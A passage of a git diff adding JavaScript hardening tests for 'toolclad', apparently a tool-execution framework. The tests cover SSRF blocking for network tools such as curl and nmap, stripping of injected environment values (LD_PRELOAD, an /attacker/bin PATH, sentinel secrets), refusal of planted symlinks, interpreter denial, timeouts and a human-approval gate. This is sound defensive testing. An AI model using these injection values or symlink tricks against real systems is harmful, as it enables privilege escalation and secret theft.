type: "url", required: true } }, + http: { method: "GET", url: "https://api.example.com/fetch?u={target}" }, + }; + assert.equal(isEgressManifest(m), true); + await assert.rejects(executeHttp(m, { target: "https://93.184.216.34/" }, { dryRun: true }), LINT_TARGET); + await assert.rejects(() => execute(m, { target: "https://93.184.216.34/" }, { dryRun: true }), LINT_TARGET); + + m.args.target.block_internal = true; + const r = await executeHttp(m, { target: "https://93.184.216.34/" }, { dryRun: true }); + assert.equal(r.status, "dry_run"); + assert.equal( + r.http_url, + `https://api.example.com/fetch?u=${encodeURIComponent("https://93.184.216.34/")}` + ); + assert.equal((await execute(m, { target: "https://93.184.216.34/" }, { dryRun: true })).status, "dry_run"); + }); + + it("a [browser] manifest is an egress manifest", async () => { + const path = writeTmp(`[tool] +name = "b" +description = "d" + +[args.target] +type = "url" +description = "u" + +[browser] +engine = "cdp" + +[output] +format = "json" +`); + assert.throws(() => loadManifest(path), LINT_TARGET); + assert.equal(isEgressManifest({ tool: { name: "b" }, browser: { engine: "cdp" } }), true); + }); + + it("a non-egress binary (whois) does not require the flag", async () => { + const m = oneshot({ binary: "whois" }, { target: { type: "scope_target", required: true } }, { exec: ["whois", "{target}"] }); + compileCommand(m); + assert.equal(isEgressManifest(m), false); + assert.deepEqual(buildCommandArgv(m, { target: "example.com" }).argv, ["whois", "example.com"]); + const path = writeTmp(`[tool] +name = "whois_lookup" +binary = "whois" +description = "d" + +[args.target] +position = 1 +required = true +type = "scope_target" +description = "t" + +[command] +exec = ["whois", "{target}"] + +[output] +format = "text" +`); + assert.equal(loadManifest(path).args.target.block_internal, false); + }); + + it("the binary is matched by lowercased basename in tool.binary, exec[0] and the template", async () => { + assert.equal(isEgressManifest(oneshot({ binary: "/usr/bin/Curl" }, {}, { exec: ["x"] })), true); + assert.equal(isEgressManifest(oneshot({ binary: "C:\\tools\\NMAP" }, {}, { exec: ["x"] })), true); + assert.equal(isEgressManifest(oneshot({ binary: "wrapper" }, {}, { exec: ["/opt/bin/nc", "-z"] })), true); + assert.equal(isEgressManifest(oneshot({ binary: "wrapper" }, {}, { template: " ping -c 1 {target}" })), true); + assert.equal(isEgressManifest(oneshot({ binary: "wrapper" }, {}, { template: "/usr/sbin/fping {target}" })), true); + assert.equal(isEgressManifest(oneshot({ binary: "whois" }, {}, { exec: ["whois"] })), false); + assert.equal(isEgressManifest(oneshot({ binary: "curling" }, {}, { exec: ["curling"] })), false); + assert.equal(isEgressManifest(oneshot({ binary: "nmap.exe" }, {}, { exec: ["nmap.exe"] })), false); + }); + + it("an executor-only manifest is an egress manifest only when the author declares it", async () => { + const silent = oneshot({}, { target: { type: "scope_target", required: true } }, { executor: "scripts/run.sh" }); + compileCommand(silent); + assert.equal(isEgressManifest(silent), false); + const declared = oneshot( + { network_egress: true }, + { target: { type: "scope_target", required: true } }, + { executor: "scripts/run.sh" } + ); + assert.throws(() => compileCommand(declared), LINT_TARGET); + }); + + it("the lint runs before any argument value is examined", async () => { + const m = oneshot({ binary: "curl" }, { target: { type: "url", required: true } }, { exec: ["curl", "{target}"] }); + assert.throws(() => buildCommandArgv(m, {}), LINT_TARGET); + assert.throws(() => buildCommandArgv(m, { target: "not a url" }), LINT_TARGET); + }); + + it("names the first offending argument in declaration order", async () => { + const m = oneshot( + { binary: "curl" }, + { + first: { type: "url", block_internal: true }, + second: { type: "cidr" }, + third: { type: "ip_address" }, + }, + { exec: ["curl", "{first}"] } + ); + assert.throws( + () => compileCommand(m), + /^Error: argument 'second' is a network target for an egress binary but block_internal is not set; set block_internal = true to default-deny internal\/SSRF targets$/ + ); + }); + + it("a custom type with a network-target base is refused once the custom types are known", async () => { + const types = { + host: { base: "scope_target" }, + web: { base: "url" }, + level: { base: "enum", allowed: ["a"] }, + }; + const m = oneshot( + { binary: "curl" }, + { target: { type: "web", block_internal: true }, mode: { type: "level" } }, + { exec: ["curl", "{target}", "{mode}"] } + ); + // Without the type map the lint cannot see the base: the load succeeds. + compileCommand(m); + lintNetworkEgress(m); + assert.throws( + () => validateManifestWithCustomTypes(m, types), + /^Error: argument 'target' uses custom type 'web' as a network target; custom types cannot carry block_internal — use the built-in url type$/ + ); + const m2 = oneshot({ binary: "nmap" }, { target: { type: "host" } }, { exec: ["nmap", "{target}"] }); + assert.throws( + () => lintNetworkEgress(m2, types), + /^Error: argument 'target' uses custom type 'host' as a network target; custom types cannot carry block_internal — use the built-in scope_target type$/ + ); + // A non-egress manifest may use the same custom type. + const m3 = oneshot({ binary: "whois" }, { target: { type: "host" } }, { exec: ["whois", "{target}"] }); + assert.equal(validateManifestWithCustomTypes(m3, types), m3); + // A custom type with a non-network base is fine in an egress manifest. + const m4 = oneshot( + { binary: "curl" }, + { mode: { type: "level" }, target: { type: "url", block_internal: true } }, + { exec: ["curl", "{target}"] } + ); + assert.equal(validateManifestWithCustomTypes(m4, types), m4); + // A loaded manifest can be checked the same way. + const path = writeTmp(`[tool] +name = "fetch" +binary = "wget" +description = "d" + +[args.target] +type = "web" +description = "u" +block_internal = true + +[command] +exec = ["wget", "{target}"] + +[output] +format = "text" +`); + // A loaded manifest gets the same check at load, given the type map. + assert.throws(() => loadManifestWithOptions(path, { customTypes: types }), /uses custom type 'web' as a network target/); + // Without it, the unknown type itself is refused at load. + assert.throws(() => loadManifest(path), /unknown type 'web' for argument 'target'/); + }); +}); diff --git a/js/test/hardening_w6_w8.test.js b/js/test/hardening_w6_w8.test.js new file mode 100644 index 0000000..a163175 --- /dev/null +++ b/js/test/hardening_w6_w8.test.js @@ -0,0 +1,480 @@ +// Spawn-path hardening (environment, secrets, argv[0], stdin, cwd, evidence +// paths) and timeouts that fire (SIGTERM, grace, SIGKILL to the group). +import { describe, it, before, after, beforeEach, afterEach } from "node:test"; +import assert from "node:assert/strict"; +import { spawnSync } from "node:child_process"; +import { + chmodSync, + existsSync, + mkdirSync, + mkdtempSync, + readdirSync, + readFileSync, + statSync, + symlinkSync, + unlinkSync, + writeFileSync, +} from "node:fs"; +import { tmpdir } from "node:os"; +import { dirname, join } from "node:path"; +import { fileURLToPath } from "node:url"; +import { loadManifest } from "../src/manifest.js"; +import { + FIXED_PATH, + buildChildEnv, + compileCommand, + ensurePrivateDir, + execute, + executeSync, + injectTemplateVars, + makeSecretResolver, + resolveBinary, +} from "../src/executor.js"; + +const SCAN_ID_RE = /^\d+-[0-9a-f]{32}$/; +const ALLOWED_ENV = new Set(["PATH", "HOME", "LANG", "LC_ALL", "TZ", "TERM"]); + +function tmp(prefix = "toolclad-w6-") { + return mkdtempSync(join(tmpdir(), prefix)); +} + +function writeTmp(content) { + const path = join(tmp(), "t.clad.toml"); + writeFileSync(path, content); + return path; +} + +function oneshot(exec, extra = {}) { + return { + tool: { name: "t", description: "d", timeout_seconds: 10, ...(extra.tool || {}) }, + args: extra.args || {}, + command: { exec, ...(extra.command || {}) }, + output: { format: "text", ...(extra.output || {}) }, + }; +} + +function envNames(stdout) { + return stdout + .split("\n") + .filter((line) => line.includes("=")) + .map((line) => line.slice(0, line.indexOf("="))); +} + +/** Set environment variables for the duration of each test in a describe. */ +function useEnv(values) { + const saved = {}; + beforeEach(() => { + for (const [k, v] of Object.entries(values())) { + saved[k] = process.env[k]; + if (v === undefined) delete process.env[k]; + else process.env[k] = v; + } + }); + afterEach(() => { + for (const [k, v] of Object.entries(saved)) { + if (v === undefined) delete process.env[k]; + else process.env[k] = v; + } + }); +} + +let evidenceRoot; +let savedEvidence; +before(() => { + savedEvidence = process.env.TOOLCLAD_EVIDENCE_DIR; + evidenceRoot = join(tmp("toolclad-ev-"), "evidence"); + process.env.TOOLCLAD_EVIDENCE_DIR = evidenceRoot; +}); +after(() => { + if (savedEvidence === undefined) delete process.env.TOOLCLAD_EVIDENCE_DIR; + else process.env.TOOLCLAD_EVIDENCE_DIR = savedEvidence; +}); + +// --- environment ----------------------------------------------------------- + +describe("child environment allowlist", () => { + useEnv(() => ({ + TOOLCLAD_SECRET_LEAK: "sentinel-one", + AWS_SECRET_ACCESS_KEY: "sentinel-two", + LD_PRELOAD: "/tmp/x", + PATH: "/attacker/bin:" + process.env.PATH, + })); + + it("contains only allowlisted names and the fixed PATH", async () => { + const r = await execute(oneshot(["printenv"]), {}); + assert.equal(r.status, "success", r.stderr); + const out = r.results.raw_output; + for (const sentinel of ["sentinel-one", "sentinel-two", "/tmp/x", "/attacker/bin"]) { + assert.equal(out.includes(sentinel), false, `${sentinel} leaked`); + } + for (const name of envNames(out)) { + assert.ok(ALLOWED_ENV.has(name), `unexpected variable ${name}`); + } + assert.ok(out.split("\n").includes(`PATH=${FIXED_PATH}`)); + }); + + it("executor hatch adds TOOLCLAD_ARG_* and context, never TOOLCLAD_SECRET_*", async () => { + const m = { + tool: { name: "hatch", description: "d", timeout_seconds: 10 }, + args: { msg: { type: "string", required: true } }, + command: { executor: resolveBinary("printenv") }, + output: { format: "text" }, + }; + const r = await execute(m, { msg: "hello" }); + assert.equal(r.status, "success", r.stderr); + const lines = r.results.raw_output.split("\n"); + assert.ok(lines.includes("TOOLCLAD_ARG_MSG=hello")); + assert.ok(lines.includes(`TOOLCLAD_SCAN_ID=${r.scan_id}`)); + assert.ok(lines.includes("TOOLCLAD_TOOL_NAME=hatch")); + assert.ok(lines.includes(`TOOLCLAD_EVIDENCE_DIR=${evidenceRoot}`)); + assert.ok(lines.includes(`TOOLCLAD_OUTPUT_DIR=${join(evidenceRoot, `${r.scan_id}-hatch`)}`)); + assert.ok(lines.includes(`PATH=${FIXED_PATH}`)); + assert.equal(lines.some((l) => l.startsWith("TOOLCLAD_SECRET_")), false); + assert.equal(r.results.raw_output.includes("sentinel"), false); + const extra = new Set([ + "TOOLCLAD_ARG_MSG", "TOOLCLAD_SCAN_ID", "TOOLCLAD_TOOL_NAME", + "TOOLCLAD_EVIDENCE_DIR", "TOOLCLAD_OUTPUT_DIR", + ]); + for (const name of envNames(r.results.raw_output)) { + assert.ok(ALLOWED_ENV.has(name) || extra.has(name), `unexpected variable ${name}`); + } + }); + + it("buildChildEnv filters TOOLCLAD_SECRET_* even when passed explicitly", () => { + const env = buildChildEnv({ TOOLCLAD_SECRET_X: "s", TOOLCLAD_ARG_X: "a" }); + assert.equal(env.TOOLCLAD_SECRET_X, undefined); + assert.equal(env.TOOLCLAD_ARG_X, "a"); + assert.equal(env.PATH, FIXED_PATH); + }); +}); + +// --- secrets file ---------------------------------------------------------- + +describe("TOOLCLAD_SECRETS_FILE", () => { + let file; + useEnv(() => { + file = join(tmp(), "secrets.toml"); + writeFileSync(file, 'api_key = "from-file"\n', { mode: 0o600 }); + chmodSync(file, 0o600); + return { + TOOLCLAD_SECRETS_FILE: file, + TOOLCLAD_SECRET_API_KEY: "from-env", + TOOLCLAD_SECRET_ONLY_ENV: "env-only", + TOOLCLAD_SECRET_ABSENT: undefined, + }; + }); + + it("a 0600 file's value is used and wins over the environment variable", () => { + assert.equal(injectTemplateVars("k={_secret:api_key}"), "k=from-file"); + }); + + it("the environment variable still serves names the file lacks", () => { + assert.equal(injectTemplateVars("{_secret:only_env}"), "env-only"); + }); + + it("a group- or world-readable file is refused, naming the mode", () => { + chmodSync(file, 0o644); + assert.throws( + () => injectTemplateVars("{_secret:api_key}"), + /TOOLCLAD_SECRETS_FILE '.*' is readable by group or others \(mode 0644\); chmod 600 it/ + ); + }); + + it("a missing secret is still an error", () => { + assert.throws( + () => injectTemplateVars("{_secret:absent}"), + /Missing environment variable: TOOLCLAD_SECRET_ABSENT/ + ); + }); + + it("the file is read at most once per resolver", () => { + const resolve = makeSecretResolver(); + assert.equal(resolve("api_key"), "from-file"); + unlinkSync(file); + assert.equal(injectTemplateVars("{_secret:api_key}{_secret:api_key}", resolve), "from-filefrom-file"); + }); +}); + +// --- argv[0] --------------------------------------------------------------- + +describe("argv[0] resolution and the interpreter denylist", () => { + const head = (tool) => `[tool] +name = "t" +description = "d" +${tool} +`; + const tail = ` +[output] +format = "text" +`; + + it("a bare name resolves against the fixed PATH and runs", async () => { + const path = resolveBinary("echo"); + assert.ok(FIXED_PATH.split(":").some((dir) => path === join(dir, "echo"))); + const r = await execute(oneshot(["echo", "hi"]), {}); + assert.equal(r.results.raw_output, "hi\n"); + }); + + it("an unresolvable binary names the binary and the search path", () => { + assert.throws( + () => resolveBinary("toolclad-no-such-binary"), + new RegExp(`'toolclad-no-such-binary' on PATH ${FIXED_PATH}`) + ); + }); + + it("a basename mismatch against tool.binary is a load error", () => { + const path = writeTmp(`${head('binary = "whois"')} +[command] +exec = ["echo", "x"] +${tail}`); + assert.throws( + () => loadManifest(path), + /command argv\[0\] 'echo' does not match tool\.binary 'whois'/ + ); + }); + + it("a matching basename with a path loads", () => { + const path = writeTmp(`${head('binary = "echo"')} +[command] +exec = ["/usr/bin/echo", "x"] +${tail}`); + assert.doesNotThrow(() => loadManifest(path)); + }); + + it("bash as argv[0] needs allow_interpreter", () => { + const body = ` +[command] +exec = ["bash", "--version"] +${tail}`; + assert.throws( + () => loadManifest(writeTmp(`${head('binary = "bash"')}${body}`)), + /command argv\[0\] 'bash' is an interpreter; set allow_interpreter = true to permit it/ + ); + assert.doesNotThrow(() => + loadManifest(writeTmp(`${head('binary = "bash"\nallow_interpreter = true')}${body}`)) + ); + }); + + it("an interpreter executor is refused too", () => { + const m = { + tool: { name: "t", description: "d" }, + command: { executor: "/bin/sh" }, + output: { format: "text" }, + }; + assert.throws(() => compileCommand(m), /'\/bin\/sh' is an interpreter/); + }); + + it("callback dispatch skips the checks", () => { + const m = oneshot(["sh"], { tool: { dispatch: "callback", binary: "other" } }); + assert.doesNotThrow(() => compileCommand(m)); + }); +}); + +// --- stdin and cwd --------------------------------------------------------- + +describe("stdin and working directory", () => { + it("stdin is /dev/null: cat with no arguments exits at once", async () => { + const start = Date.now(); + const r = await execute(oneshot(["cat"], { tool: { timeout_seconds: 5 } }), {}); + assert.equal(r.status, "success"); + assert.equal(r.results.raw_output, ""); + assert.ok(Date.now() - start < 3000); + }); + + it("cwd is /-work and is removed when empty", async () => { + const r = await execute(oneshot(["pwd"]), {}); + const work = join(evidenceRoot, `${r.scan_id}-work`); + assert.equal(r.results.raw_output.trim(), work); + assert.equal(existsSync(work), false); + }); + + it("a scratch directory the tool wrote to is kept, mode 0700", async () => { + const r = await execute(oneshot(["touch", "relative-file"]), {}); + assert.equal(r.status, "success", r.stderr); + const work = join(evidenceRoot, `${r.scan_id}-work`); + assert.ok(existsSync(join(work, "relative-file"))); + assert.equal(statSync(work).mode & 0o777, 0o700); + }); +}); + +// --- evidence paths -------------------------------------------------------- + +describe("evidence paths", () => { + it("_output_file follows the table and its directory exists 0700 before the spawn", async () => { + const m = oneshot(["stat", "-c", "%a %F", "{_output_file}", "{_evidence_dir}"], { + tool: { name: "ev" }, + output: { format: "json" }, + }); + const dry = await execute(m, {}, { dryRun: true }); + assert.match(dry.scan_id, SCAN_ID_RE); + assert.equal(dry.argv[3], join(evidenceRoot, `${dry.scan_id}-ev`, "scan.json")); + + const r = await execute(m, {}); + const outputDir = join(evidenceRoot, `${r.scan_id}-ev`); + // The envelope carries the declared command, never the resolved path. + assert.equal(r.command, "stat -c %a %F {_output_file} {_evidence_dir}"); + assert.equal(r.command.includes(outputDir), false); + // The tool saw a pre-created 0600 regular file and the 0700 root. + assert.deepEqual(r.results.raw_output.trim().split("\n"), [ + "600 regular empty file", + "700 directory", + ]); + assert.equal(statSync(outputDir).mode & 0o777, 0o700); + }); + + it("[tool.evidence] output_dir is honored", async () => { + const m = oneshot(["echo", "{_output_file}"], { + tool: { evidence: { output_dir: "{evidence_dir}/custom-{scan_id}" } }, + output: { format: "jsonl" }, + }); + const r = await execute(m, {}); + const expected = join(evidenceRoot, `custom-${r.scan_id}`, "scan.jsonl"); + assert.equal(r.results.raw_output.trim(), expected); + assert.ok(existsSync(expected)); + assert.equal(statSync(dirname(expected)).mode & 0o777, 0o700); + }); + + it("unknown formats use .txt and consecutive scan ids differ", async () => { + const m = oneshot(["echo", "{_output_file}"]); + const a = await execute(m, {}); + const b = await execute(m, {}); + assert.match(a.scan_id, SCAN_ID_RE); + assert.match(b.scan_id, SCAN_ID_RE); + assert.notEqual(a.scan_id, b.scan_id); + assert.notEqual(a.scan_id.split("-")[1], b.scan_id.split("-")[1]); + assert.ok(a.results.raw_output.trim().endsWith("/scan.txt")); + }); + + it("a pre-planted symlink at the output file is refused, not followed", async () => { + const outputDir = join(evidenceRoot, "fixed"); + mkdirSync(outputDir, { recursive: true, mode: 0o700 }); + const target = join(tmp(), "victim"); + symlinkSync(target, join(outputDir, "scan.txt")); + const m = oneshot(["true"], { tool: { evidence: { output_dir: "{evidence_dir}/fixed" } } }); + await assert.rejects(() => execute(m, {}), /symbolic link/); + assert.equal(existsSync(target), false); + }); + + it("a symlinked evidence directory is refused", () => { + const real = tmp(); + const link = join(tmp(), "link"); + symlinkSync(real, link); + assert.throws(() => ensurePrivateDir(link), /symbolic link/); + }); +}); + +// --- timeouts -------------------------------------------------------------- + +/** Pids whose command line contains `marker`, via /proc (Linux). */ +function pidsWithMarker(marker) { + const found = []; + for (const entry of readdirSync("/proc")) { + if (!/^\d+$/.test(entry)) continue; + try { + if (readFileSync(`/proc/${entry}/cmdline`, "utf-8").includes(marker)) found.push(entry); + } catch { + // Process exited while scanning. + } + } + return found; +} + +describe("timeouts", () => { + useEnv(() => ({ TOOLCLAD_KILL_GRACE_MS: "200" })); + + it("a sleep past the deadline returns status timeout within about 1 s + grace", async (t) => { + const marker = "10.4242"; + const start = Date.now(); + const r = await execute(oneshot(["sleep", marker], { tool: { timeout_seconds: 1 } }), {}); + const elapsed = Date.now() - start; + assert.equal(r.status, "timeout"); + assert.equal(r.exit_code, -1); + assert.ok(elapsed < 5000, `took ${elapsed} ms`); + if (!existsSync("/proc/self/cmdline")) { + t.skip("no /proc to check for the child"); + return; + } + assert.deepEqual(pidsWithMarker(marker), [], "the sleep is still running"); + }); + + it("partial output captured before the kill is kept", async () => { + const file = join(tmp(), "lines.txt"); + writeFileSync(file, "partial line\n"); + const r = await execute( + oneshot(["tail", "-n", "+1", "-f", file], { tool: { timeout_seconds: 1 } }), + {} + ); + assert.equal(r.status, "timeout"); + assert.equal(r.results.raw_output, "partial line\n"); + }); + + it("a child that ignores SIGTERM is killed after the grace period", async () => { + const script = + "process.on('SIGTERM',()=>{});console.log('ignoring');setInterval(()=>{},1000)"; + const m = oneshot([process.execPath, "-e", script], { + tool: { timeout_seconds: 1, allow_interpreter: true }, + }); + const start = Date.now(); + const r = await execute(m, {}); + assert.equal(r.status, "timeout"); + assert.equal(r.results.raw_output, "ignoring\n"); + assert.ok(Date.now() - start < 5000); + }); + + it("timeout_seconds = 0 is refused at load and before execution", async () => { + const path = writeTmp(`[tool] +name = "t" +binary = "echo" +description = "d" +timeout_seconds = 0 + +[command] +exec = ["echo"] + +[output] +format = "text" +`); + assert.throws(() => loadManifest(path), /timeout_seconds must be greater than zero/); + await assert.rejects( + () => execute(oneshot(["echo"], { tool: { timeout_seconds: -1 } }), {}), + /timeout_seconds must be greater than zero/ + ); + }); + + it("execute() returns a Promise and executeSync throws the removal message", async () => { + const p = execute(oneshot(["echo"]), {}, { dryRun: true }); + assert.ok(p instanceof Promise); + await p; + assert.throws( + () => executeSync(oneshot(["echo"]), {}), + /^Error: executeSync was removed: execute\(\) is async; await execute\(\.\.\.\)$/ + ); + }); + + it("cli run awaits execution and prints the envelope", () => { + const path = writeTmp(`[tool] +name = "t" +binary = "echo" +description = "d" + +[args.msg] +type = "string" +required = true + +[command] +exec = ["echo", "{msg}"] + +[output] +format = "text" +`); + const cli = join(dirname(fileURLToPath(import.meta.url)), "..", "src", "cli.js"); + const r = spawnSync(process.execPath, [cli, "run", path, "--arg", "msg=hello"], { + encoding: "utf-8", + env: { ...process.env, TOOLCLAD_EVIDENCE_DIR: evidenceRoot }, + }); + assert.equal(r.status, 0, r.stderr); + const envelope = JSON.parse(r.stdout); + assert.equal(envelope.status, "success"); + assert.equal(envelope.results.raw_output, "hello\n"); + }); +}); diff --git a/js/test/hardening_w7_w10.test.js b/js/test/hardening_w7_w10.test.js new file mode 100644 index 0000000..0bf1890 --- /dev/null +++ b/js/test/hardening_w7_w10.test.js @@ -0,0 +1,749 @@ +// Policy gate seam (TC-9), output caps and fail-closed schema validation +// (TC-12, TC-14), HTTP hardening and the declared envelope command (TC-16, +// design issue 9). HTTP tests talk only to a node:http server on 127.0.0.1. +import { describe, it, before, after } from "node:test"; +import assert from "node:assert/strict"; +import { spawnSync } from "node:child_process"; +import { createServer } from "node:http"; +import { existsSync, mkdtempSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { dirname, join } from "node:path"; +import { fileURLToPath } from "node:url"; +import { loadManifest } from "../src/manifest.js"; +import { + GateDecision, + PolicyGateError, + approveGate, + defaultGate, + execute, + executeHttp, + executeHttpSync, + executeMcp, +} from "../src/executor.js"; +import { validateJsonSchema } from "../src/schema.js"; + +const HERE = dirname(fileURLToPath(import.meta.url)); +const CLI = join(HERE, "..", "src", "cli.js"); +const EXAMPLES = join(HERE, "..", "..", "examples"); +const GATE_DENIED = /policy gate denied: /; + +function tmp(prefix = "toolclad-w7-") { + return mkdtempSync(join(tmpdir(), prefix)); +} + +function writeTmp(content) { + const path = join(tmp(), "t.clad.toml"); + writeFileSync(path, content); + return path; +} + +function oneshot(exec, extra = {}) { + return { + tool: { name: "t", description: "d", timeout_seconds: 10, ...(extra.tool || {}) }, + args: extra.args || {}, + command: { exec, ...(extra.command || {}) }, + output: { format: "text", ...(extra.output || {}) }, + }; +} + +let savedEvidence; +before(() => { + savedEvidence = process.env.TOOLCLAD_EVIDENCE_DIR; + process.env.TOOLCLAD_EVIDENCE_DIR = join(tmp("toolclad-ev-"), "evidence"); +}); +after(() => { + if (savedEvidence === undefined) delete process.env.TOOLCLAD_EVIDENCE_DIR; + else process.env.TOOLCLAD_EVIDENCE_DIR = savedEvidence; +}); + +/** A loopback HTTP server that records every request it receives. */ +function startServer(handler) { + const requests = []; + const server = createServer((req, res) => { + let body = ""; + req.on("data", (c) => (body += c)); + req.on("end", () => { + requests.push({ method: req.method, url: req.url, headers: req.headers, body }); + handler(req, res); + }); + }); + return new Promise((resolve) => { + server.listen(0, "127.0.0.1", () => { + const { port } = server.address(); + resolve({ + base: `http://127.0.0.1:${port}`, + requests, + close: () => new Promise((r) => server.close(r)), + }); + }); + }); +} + +function httpManifest(http, extra = {}) { + return { + tool: { name: "h", description: "d", timeout_seconds: 10, ...(extra.tool || {}) }, + args: extra.args || {}, + http, + output: { format: "text", ...(extra.output || {}) }, + }; +} + +// --------------------------------------------------------------------------- +// W7: policy gate +// --------------------------------------------------------------------------- + +describe("W7 policy gate seam (TC-9)", () => { + it("human_approval = true is denied by default and nothing runs", async () => { + const marker = join(tmp(), "ran"); + const m = oneshot(["touch", marker], { tool: { human_approval: true } }); + await assert.rejects(execute(m, {}), (err) => { + assert.ok(err instanceof PolicyGateError); + assert.equal( + err.message, + "policy gate denied: manifest requires human approval (human_approval = true)" + ); + return true; + }); + assert.equal(existsSync(marker), false); + }); + + it("risk_tier high and critical are denied; info, low and medium run", async () => { + for (const tier of ["high", "critical"]) { + const m = oneshot(["echo", "x"], { tool: { risk_tier: tier } }); + await assert.rejects(execute(m, {}), { + message: `policy gate denied: risk_tier '${tier}' requires explicit approval`, + }); + } + for (const tier of ["info", "low", "medium"]) { + const r = await execute(oneshot(["echo", "x"], { tool: { risk_tier: tier } }), {}); + assert.equal(r.status, "success"); + } + }); + + it("approve: true and an explicit allow-all gate run a gated manifest", async () => { + const m = oneshot(["echo", "ok"], { tool: { human_approval: true, risk_tier: "critical" } }); + assert.equal((await execute(m, {}, { approve: true })).results.raw_output, "ok\n"); + assert.equal((await execute(m, {}, { gate: approveGate })).results.raw_output, "ok\n"); + assert.equal((await execute(m, {}, { gate: () => GateDecision.allow() })).status, "success"); + }); + + it("passing both gate and approve is an error", async () => { + const m = oneshot(["echo", "ok"]); + await assert.rejects(execute(m, {}, { gate: approveGate, approve: true }), /not both/); + }); + + it("a custom gate's own condition and reason reach the caller, with validated values", async () => { + const m = oneshot(["echo", "{mode}", "{name}"], { + args: { + mode: { type: "enum", allowed: ["safe", "loud"], required: true }, + name: { type: "string", default: "anon" }, + }, + }); + const seen = []; + const gate = (manifest, args) => { + seen.push(args); + return args.mode === "loud" ? GateDecision.deny("loud mode needs a ticket") : GateDecision.allow(); + }; + await assert.rejects(execute(m, { mode: "loud" }, { gate }), { + message: "policy gate denied: loud mode needs a ticket", + }); + const r = await execute(m, { mode: "safe" }, { gate }); + assert.equal(r.results.raw_output, "safe anon\n"); + // The default was applied before the gate saw the arguments. + assert.deepEqual({ ...seen[1] }, { mode: "safe", name: "anon" }); + assert.ok(Object.isFrozen(seen[1])); + }); + + it("a gate result that is not an explicit allow denies (fail closed)", async () => { + const m = oneshot(["echo", "x"]); + await assert.rejects(execute(m, {}, { gate: () => true }), GATE_DENIED); + await assert.rejects(execute(m, {}, { gate: () => undefined }), GATE_DENIED); + }); + + it("validation runs before the gate: invalid and denied reports the validation error", async () => { + const m = oneshot(["echo", "{n}"], { + tool: { human_approval: true }, + args: { n: { type: "integer", required: true } }, + }); + let called = false; + const gate = () => { + called = true; + return GateDecision.deny("never"); + }; + await assert.rejects(execute(m, { n: "abc" }, { gate }), (err) => { + assert.doesNotMatch(err.message, GATE_DENIED); + return true; + }); + assert.equal(called, false); + await assert.rejects(execute(m, { n: "abc" }), (err) => !GATE_DENIED.test(err.message)); + }); + + it("the dry run is not gated", async () => { + const m = oneshot(["echo", "x"], { tool: { human_approval: true, risk_tier: "high" } }); + const r = await execute(m, {}, { dryRun: true }); + assert.equal(r.status, "dry_run"); + assert.deepEqual(r.argv, ["echo", "x"]); + }); + + it("the HTTP path is gated before any request", async () => { + const srv = await startServer((req, res) => res.end("hi")); + try { + const m = httpManifest({ method: "GET", url: `${srv.base}/x` }, { tool: { human_approval: true } }); + await assert.rejects(execute(m, {}), GATE_DENIED); + await assert.rejects(executeHttp(m, {}), GATE_DENIED); + assert.equal(srv.requests.length, 0); + const r = await execute(m, {}, { approve: true }); + assert.equal(r.status, "success"); + assert.equal(srv.requests.length, 1); + } finally { + await srv.close(); + } + }); + + it("the MCP path is gated before the envelope is built", async () => { + const m = { + tool: { name: "m", description: "d", risk_tier: "critical" }, + args: { q: { type: "string", required: true } }, + mcp: { server: "srv", tool: "search" }, + }; + await assert.rejects(execute(m, { q: "x" }), GATE_DENIED); + assert.throws(() => executeMcp(m, { q: "x" }), GATE_DENIED); + const r = await execute(m, { q: "x" }, { approve: true }); + assert.equal(r.status, "delegation_preview"); + assert.equal(r.command, "mcp://srv/search"); + }); + + it("defaultGate is exported and pure", () => { + assert.deepEqual({ ...defaultGate({ tool: { risk_tier: "low" } }, {}) }, { allowed: true }); + assert.equal(defaultGate({ tool: { risk_tier: "HIGH" } }, {}).allowed, false); + }); + + it("CLI: run without --approve on the nikto example exits non-zero and runs nothing", () => { + // The CLI does not load toolclad.toml yet, so this example fails on its + // custom argument types before the gate is reached; either way nothing + // executes and no envelope is printed. Never run it with --approve. + const r = spawnSync( + process.execPath, + [CLI, "run", join(EXAMPLES, "nikto_scan.clad.toml"), "--arg", "target=93.184.216.34"], + { encoding: "utf-8" } + ); + assert.notEqual(r.status, 0); + assert.equal(r.stdout, ""); + }); + + it("CLI: run without --approve on a nikto-like human_approval manifest prints the gate message", () => { + const path = writeTmp(`[tool] +name = "nikto_like" +description = "d" +binary = "nikto" +human_approval = true +network_egress = true + +[args.target] +type = "scope_target" +required = true +block_internal = true +description = "t" + +[command] +exec = ["nikto", "-h", "{target}"] + +[output] +format = "text" +`); + const r = spawnSync(process.execPath, [CLI, "run", path, "--arg", "target=93.184.216.34"], { + encoding: "utf-8", + }); + assert.notEqual(r.status, 0); + assert.match(r.stderr, /policy gate denied: manifest requires human approval \(human_approval = true\)/); + assert.equal(r.stdout, ""); + }); + + it("CLI: run --approve runs an echo manifest that requires approval; test shows the tier", () => { + const path = writeTmp(`[tool] +name = "approved_echo" +description = "d" +binary = "echo" +risk_tier = "high" +human_approval = true + +[command] +exec = ["echo", "approved"] + +[output] +format = "text" +`); + const denied = spawnSync(process.execPath, [CLI, "run", path], { encoding: "utf-8" }); + assert.notEqual(denied.status, 0); + assert.match(denied.stderr, /policy gate denied: /); + + const ok = spawnSync(process.execPath, [CLI, "run", path, "--approve"], { encoding: "utf-8" }); + assert.equal(ok.status, 0, ok.stderr); + const env = JSON.parse(ok.stdout); + assert.equal(env.status, "success"); + assert.equal(env.results.raw_output, "approved\n"); + + const dry = spawnSync(process.execPath, [CLI, "test", path], { encoding: "utf-8" }); + assert.equal(dry.status, 0, dry.stderr); + assert.match(dry.stdout, /Risk tier: high/); + assert.match(dry.stdout, /Approval:\s+required/); + }); +}); + +// --------------------------------------------------------------------------- +// W9: output caps, XML hardening, schema validation +// --------------------------------------------------------------------------- + +describe("W9 output cap (TC-12)", () => { + it("stdout past max_bytes is capped and flagged; status is unaffected", async () => { + const m = oneshot(["seq", "1", "5000"], { output: { max_bytes: 1024 } }); + const r = await execute(m, {}); + assert.equal(r.status, "success"); + assert.equal(r.output_truncated, true); + assert.equal(r.results.raw_output.length, 1024); + assert.ok(r.results.raw_output.startsWith("1\n2\n3\n")); + }); + + it("output under the cap carries no truncation flag", async () => { + const r = await execute(oneshot(["echo", "small"], { output: { max_bytes: 1024 } }), {}); + assert.equal(r.output_truncated, undefined); + }); + + it("a capped multibyte stream never exceeds max_bytes or splits a character", async () => { + const m = oneshot(["echo", "é".repeat(100)], { output: { max_bytes: 51 } }); + const r = await execute(m, {}); + assert.equal(r.output_truncated, true); + 